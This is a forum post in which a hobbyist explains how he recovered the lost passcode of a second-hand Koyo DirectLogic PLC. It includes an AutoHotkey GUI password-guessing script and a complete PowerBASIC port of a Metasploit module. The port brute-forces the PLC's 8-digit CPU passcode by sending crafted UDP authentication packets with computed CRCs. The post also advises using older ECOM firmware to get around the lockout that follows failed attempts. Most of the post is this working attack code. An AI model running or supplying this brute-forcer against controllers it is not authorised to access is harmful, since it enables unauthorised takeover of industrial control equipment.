PowerBASIC Peer Support Forums
 

Go Back   PowerBASIC Peer Support Forums > User to user Discussions > Source Code

Source Code PowerBASIC and related source code. Please do not post questions or discussions, just source code.

Reply
 
Thread Tools Display Modes
  #1  
Old May 3rd, 2013, 06:23 PM
Marcel Kollenaar Marcel Kollenaar is offline
Member
 
Join Date: Sep 2007
Location: Twente
Posts: 6
Password challenge Koyo Direct Logic 06 PLC

Hello,

This is my first Powerbasic program. I bought a PLC (D0-06DR Direct Logic) on an ebay type site. It was a real bargain. When I recieved it, it was password protected and literally I could not do anything with it. However I could return it but it was a real bargain so I tried all the possible I could do to get the password. The owner did not know or remembered the password. As soon I started the PLC software and try to connect to the PLC (tcp/ip) the password screen popped up. This was one of the most difficult tight securities. The other security was that you can make contact but could not open the software inside the PLC.

I began with AutoHotkey and started this piece of code running in the background with the original PLC Direct software. I decided to create parallel at the running code a Powerbasic program. The AutoHotkey ran for two weeks. In the meantime I found a site with some password challenge code in Ruby right on the job and made a translation.

http://dev.metasploit.com/redmine/pr.../koyo_login.rb

However I found the password with AutoHotkey a few minutes before I ended the Powerbasic code. The password was the birthday date of the programmer. Besides Powerbasic I used Microsoft Network Monitor 3.4 to look at the communication between the PLC and the Powerbasic program to see if the UDP packages where send in a proper way.

The Powerbasic code works and does the job about 5 times faster than the AutoHotkey version which did one challenge each second++.

Code:
F1::
cntr=23843
code=00000000
send !PCA!S
Sleep, 300
loop {
	Sleep, 500
	WinGetActiveTitle, Title
	if Title = Enter Password
	{
	 	send %cntr%{ENTER}
		FileAppend, Passcode: %cntr%`n, C:\Users\Gebruiker\Documents\Koyo.log
		cntr++
		Sleep, 300
		Send O
	}
	else
	{
		MsgBox, The window name was: "%Title%" and passcode: "%cntr%"
		break
	}
}
F3::exitapp

Code:
'------------------------------------------------------------------------------------------------------------------------------------------------
'
' This is a translation from http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/auxiliary/scanner/scada/koyo_login.rb
' (c) Auhor K. Reid Wightman <wightman[at]digitalbond.com> original module. http://www.digitalbond.com/tools/basecamp/metasploit-modules
'
' This module attempts to authenticate to a locked Koyo DirectLogic PLC type D0-06DR.
' The PLC uses a restrictive passcode, which can be A0000000 through A9999999 (program passcode) or 00000000 through 99999999 (cpu passcode).
'
'------------------------------------------------------------------------------------------------------------------------------------------------
' CRC check: http://www.lammertbies.nl/comm/info/nl_crc-calculation.html
'------------------------------------------------------------------------------------------------------------------------------------------------
'
' H0-ECOM firmware 1.0.364 after 27 Mar-2012 is protected with a 5 min lockdown after 3 non-successful attempts.
' So keep an older H0-ECOM at hand to guess the CPU password if you get stuck with a lost passcode device. I used an H0-ECOM rev. 1.0.357 aug/14/2003
'
'------------------------------------------------------------------------------------------------------------------------------------------------
' PBWIN translated version 10.03.0102
' (c) M.Kollenaar - This PowerBASIC translation.
'------------------------------------------------------------------------------------------------------------------------------------------------

#COMPILE EXE
#DIM ALL

%ipPortPLC = 28784
'$ipPLC  = "xxx.xxx.xxx.xxx" 'Use your PLC IP address.
$ipPLC  = "192.168.2.11"

GLOBAL lFile AS LONG
GLOBAL sock AS LONG
GLOBAL UDP_SendToIP AS LONG
GLOBAL UDP_PortPLC AS LONG

GLOBAL UDP_RecFromIP     AS LONG    ' Received from IP Address
GLOBAL UDP_RecFromPort   AS LONG    ' Received from Port Number
GLOBAL UDP_RecString     AS STRING  ' Received message

FUNCTION PBMAIN () AS LONG
    LOCAL index AS LONG
    LOCAL crc AS WORD
    LOCAL PassCode AS STRING

    lFile = FREEFILE
    OPEN "LogFile.txt" FOR OUTPUT LOCK SHARED AS lFile

    sock = FREEFILE
    UDP open AS sock TIMEOUT 3000
    HOST ADDR $ipPLC TO UDP_SendToIP
    UDP_PortPLC = %ipPortPLC

    FOR index = 0 TO 99999999 STEP 1 'Or 9999999 when A pattern
        'PassCode = "A" + RSET$(LTRIM$(STR$(index)),7 USING "0") ' Program passcode pattern: Annnnnnn
        PassCode = RSET$(LTRIM$(STR$(index)),8 USING "0")        ' CPU passcode pattern:     nnnnnnnn
        IF unlock_check() = 0 THEN
            PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU locked; commencing bruteforce..."
            PRINT #lFile, "PassCode: " + PassCode
            PassCode = ASC2BCD16(PassCode)
            IF TryAuth(PassCode) = 1 THEN
                PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU unlocked!"
                PRINT #lFile, "PLC Password: " +  STR$(index)
                ? "PLC is now unlocked! Passcode is: " + STR$(index)
                EXIT FOR
            END IF
        ELSE
            PRINT #lFile, "PLC Host: " + $ipPLC + ":" + STR$(%ipPortPLC) + " - KOYO - CPU unlocked!"
            ? "PLC is now unlocked! Passcode is: " + STR$(index)
            EXIT FOR
        END IF
    NEXT index

    UDP CLOSE sock
    CLOSE lfile

END FUNCTION

' ASCII to BCD Hex conversion.
' String "A1234567" converts to bytes values &HA1,&H23,&H45,&H67
FUNCTION ASC2BCD16(BYVAL passcode AS STRING) AS STRING
    LOCAL BCDdigits, index AS LONG
    LOCAL BCD AS STRING

    FOR index = 1 TO 8 STEP 2
        BCDdigits = VAL("&H" + MID$(passcode,index,1))
        SHIFT LEFT BCDdigits, 4
        BCDdigits = BCDdigits + VAL("&H" + MID$(passcode,index + 1,1))
        BCD = BCD + CHR$(BCDdigits)
    NEXT
    FUNCTION = BCD
END FUNCTION

FUNCTION unlock_check () AS LONG
    LOCAL UDP_CheckPacket, UDP_RcvPacks AS STRING

    UDP_CheckPacket = CHR$("HAP",&H0E,&H00,&H6E,&H68,&H0D,&H00,&H1A,&H00,&H09,&H00,&H01,&H50,&H01,&H02,&H00,&H01,&H00,&H17,&H52)
    UDP SEND sock, AT UDP_SendToIP, UDP_PortPLC, UDP_CheckPacket

    'read it twice to get the right datagram.
    UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
    UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks

    IF MID$(UDP_RcvPacks,18,1) = CHR$(&H00) AND MID$(UDP_RcvPacks,20,1) = CHR$(&HD2) THEN
        unlock_check = 1 ' PLC unlocked
    ELSE
        unlock_check = 0 ' PLC locked
    END IF
END FUNCTION

FUNCTION TryAuth(BYVAL passcode AS STRING) AS LONG
    LOCAL UDP_data, UDP_authpacket, UDP_RcvPacks, lendata, crc AS STRING
    LOCAL CRC_ccitt_16 AS WORD
    LOCAL unlock_status AS LONG

    UDP_data = CHR$(&H1A,&H00,&H0D,&H00,&H01,&H51,&H01,&H19,&H02,&H04,&H00,passcode,&H17,&H33)
    CRC_ccitt_16 = 0
    CRC_ccitt_16 = CRCCalcStr(CRC_ccitt_16,UDP_Data)
    PRINT #lFile, "CRC_ccitt_16: " + HEX$(CRC_ccitt_16)
    crc = MKWRD$(CRC_ccitt_16)       '2 bytes (WORD)- Big Endian Byte Swap inclusive: High byte first.
    lendata = MKWRD$(LEN(UDP_Data))  'bytes are already in the big endian (network) order.

    UDP_authpacket = CHR$(&H48,&H41,&H50,&H07,&H00,crc,lendata,UDP_Data)

    UDP SEND sock, AT UDP_SendToIP, UDP_PortPLC, UDP_authpacket

    'Read 2 UDP datagrams and do nothing.
    UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks
    UDP RECV sock, FROM UDP_RecFromIP, UDP_RecFromPort, UDP_RcvPacks

    unlock_status = unlock_check()
    FUNCTION = unlock_status
END FUNCTION

' CRC function CrcCalcStr() (c) John Gleason
' Forum post - http://www.powerbasic.com/support/pbforums/showpost.php?p=379715&postcount=7

FUNCTION CrcCalcStr(BYVAL crc AS WORD, BYVAL inString AS STRING) AS WORD
   STATIC oneTime AS LONG
   LOCAL ii AS LONG
   REGISTER crc2 AS WORD, crc3 AS WORD

   IF oneTime = 0 THEN
      oneTime = 1
      DIM crcTable(255) AS STATIC WORD AT CODEPTR(crcLookup)
   END IF

   'DIM a strByte array as long as the string minus 1 and let it point to the inString variable location.
   DIM strByt(LEN(inString) - 1) AS BYTE AT STRPTR(inString)

   FOR ii = 0 TO LEN(inString) - 1
      crc2 = crc
      crc3 = crc
      !shr crc2, 8  ;crc\256
      !shl crc3, 8  ;crc*256
      crc =  crc3 XOR crcTable(crc2 XOR strByt(ii))
      'formular checked against original formular in metasploit version.
      'crc = crc3 XOR (crcTable(crc2 XOR strByt(ii)) AND &HFFFF)
   NEXT
   FUNCTION = crc
   EXIT FUNCTION

crcLookup:
!dw &h0000, &h1021, &h2042, &h3063, &h4084, &h50A5, &h60C6, &h70E7
!dw &h8108, &h9129, &hA14A, &hB16B, &hC18C, &hD1AD, &hE1CE, &hF1EF
!dw &h1231, &h0210, &h3273, &h2252, &h52B5, &h4294, &h72F7, &h62D6
!dw &h9339, &h8318, &hB37B, &hA35A, &hD3BD, &hC39C, &hF3FF, &hE3DE
!dw &h2462, &h3443, &h0420, &h1401, &h64E6, &h74C7, &h44A4, &h5485
!dw &hA56A, &hB54B, &h8528, &h9509, &hE5EE, &hF5CF, &hC5AC, &hD58D
!dw &h3653, &h2672, &h1611, &h0630, &h76D7, &h66F6, &h5695, &h46B4
!dw &hB75B, &hA77A, &h9719, &h8738, &hF7DF, &hE7FE, &hD79D, &hC7BC
!dw &h48C4, &h58E5, &h6886, &h78A7, &h0840, &h1861, &h2802, &h3823
!dw &hC9CC, &hD9ED, &hE98E, &hF9AF, &h8948, &h9969, &hA90A, &hB92B
!dw &h5AF5, &h4AD4, &h7AB7, &h6A96, &h1A71, &h0A50, &h3A33, &h2A12
!dw &hDBFD, &hCBDC, &hFBBF, &hEB9E, &h9B79, &h8B58, &hBB3B, &hAB1A
!dw &h6CA6, &h7C87, &h4CE4, &h5CC5, &h2C22, &h3C03, &h0C60, &h1C41
!dw &hEDAE, &hFD8F, &hCDEC, &hDDCD, &hAD2A, &hBD0B, &h8D68, &h9D49
!dw &h7E97, &h6EB6, &h5ED5, &h4EF4, &h3E13, &h2E32, &h1E51, &h0E70
!dw &hFF9F, &hEFBE, &hDFDD, &hCFFC, &hBF1B, &hAF3A, &h9F59, &h8F78
!dw &h9188, &h81A9, &hB1CA, &hA1EB, &hD10C, &hC12D, &hF14E, &hE16F
!dw &h1080, &h00A1, &h30C2, &h20E3, &h5004, &h4025, &h7046, &h6067
!dw &h83B9, &h9398, &hA3FB, &hB3DA, &hC33D, &hD31C, &hE37F, &hF35E
!dw &h02B1, &h1290, &h22F3, &h32D2, &h4235, &h5214, &h6277, &h7256
!dw &hB5EA, &hA5CB, &h95A8, &h8589, &hF56E, &hE54F, &hD52C, &hC50D
!dw &h34E2, &h24C3, &h14A0, &h0481, &h7466, &h6447, &h5424, &h4405
!dw &hA7DB, &hB7FA, &h8799, &h97B8, &hE75F, &hF77E, &hC71D, &hD73C
!dw &h26D3, &h36F2, &h0691, &h16B0, &h6657, &h7676, &h4615, &h5634
!dw &hD94C, &hC96D, &hF90E, &hE92F, &h99C8, &h89E9, &hB98A, &hA9AB
!dw &h5844, &h4865, &h7806, &h6827, &h18C0, &h08E1, &h3882, &h28A3
!dw &hCB7D, &hDB5C, &hEB3F, &hFB1E, &h8BF9, &h9BD8, &hABBB, &hBB9A
!dw &h4A75, &h5A54, &h6A37, &h7A16, &h0AF1, &h1AD0, &h2AB3, &h3A92
!dw &hFD2E, &hED0F, &hDD6C, &hCD4D, &hBDAA, &hAD8B, &h9DE8, &h8DC9
!dw &h7C26, &h6C07, &h5C64, &h4C45, &h3CA2, &h2C83, &h1CE0, &h0CC1
!dw &hEF1F, &hFF3E, &hCF5D, &hDF7C, &hAF9B, &hBFBA, &h8FD9, &h9FF8
!dw &h6E17, &h7E36, &h4E55, &h5E74, &h2E93, &h3EB2, &h0ED1, &h1EF0

END FUNCTION

'<---------------- Only test functions beyond this point ------------------>

' calcLRC source: http://en.wikipedia.org/wiki/Longitudinal_redundancy_check
' Function not used in this context.
FUNCTION calcLRC(chkstr AS STRING) AS BYTE
    LOCAL lrc AS BYTE
    LOCAL cb AS STRING
    LOCAL index AS LONG
    LOCAL ascv AS BYTE
    lrc = &H00
    FOR index = 1 TO LEN(chkstr) STEP 1
        ascv = CVBYT(MID$(chkstr,index))
        lrc = (lrc + ascv) AND &HFF
    NEXT
    calcLRC = (((lrc XOR &hFF) + 1) AND &HFF)
END FUNCTION

' Swap lsb and msb for Big-Endian PLC/MODBUS communication.
' Input: 16 bit value as WORD
' Output: 16 bit value as WORD
' Not used in this context, use MKWRD$()
FUNCTION SwapBytes(BYVAL crc AS WORD) AS WORD
    REGISTER msb AS WORD, lsb AS WORD
    msb = crc
    lsb = crc
    !shl msb, 8
    !shr lsb, 8
    FUNCTION = msb+lsb
END FUNCTION

FUNCTION CRC_TEST () AS LONG
    LOCAL testdata, sscrc AS STRING
    LOCAL crc AS WORD

    '48   41   50   07   00   80   78   11   00   1A   00   0D   00   01   51   01   19   02   04   00   00   27   02   58   17   52
                                                 '1A   00   0D   00   01   51   01   19   02   04   00   00   27   02   58   17   52  has to be crc 8078 ==> plc!!
                                testdata = CHR$(&H1a,&H00,&H0d,&H00,&H01,&H51,&H01,&H19,&H02,&H04,&H00,&H00,&H27,&H02,&H58,&H17,&H52)'result is 3337 for CRC-CCITT (XModem)
                                'use website for check: http://www.lammertbies.nl/comm/info/nl_crc-calculation.html
    crc = 0  'reset for each new string if wanted
    crc = CRCCalcStr(crc, testdata)
    MSGBOX "CRC value: " & HEX$(crc,4)
    'MSGBOX "CRC value Big Endian: " & HEX$(SwapBytes(crc),4)
END FUNCTION
I have to thank John Gleason for his CRC-code.
__________________
If something must done the proper way you must do it yourself.
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 10:10 PM.


Powered by vBulletin® Version 3.8.1
Copyright ©2000 - 2014, Jelsoft Enterprises Ltd.
Copyright 1999-2011 PowerBASIC, Inc. All Rights Reserved.
Error in my_thread_global_end(): 1 threads didn't exit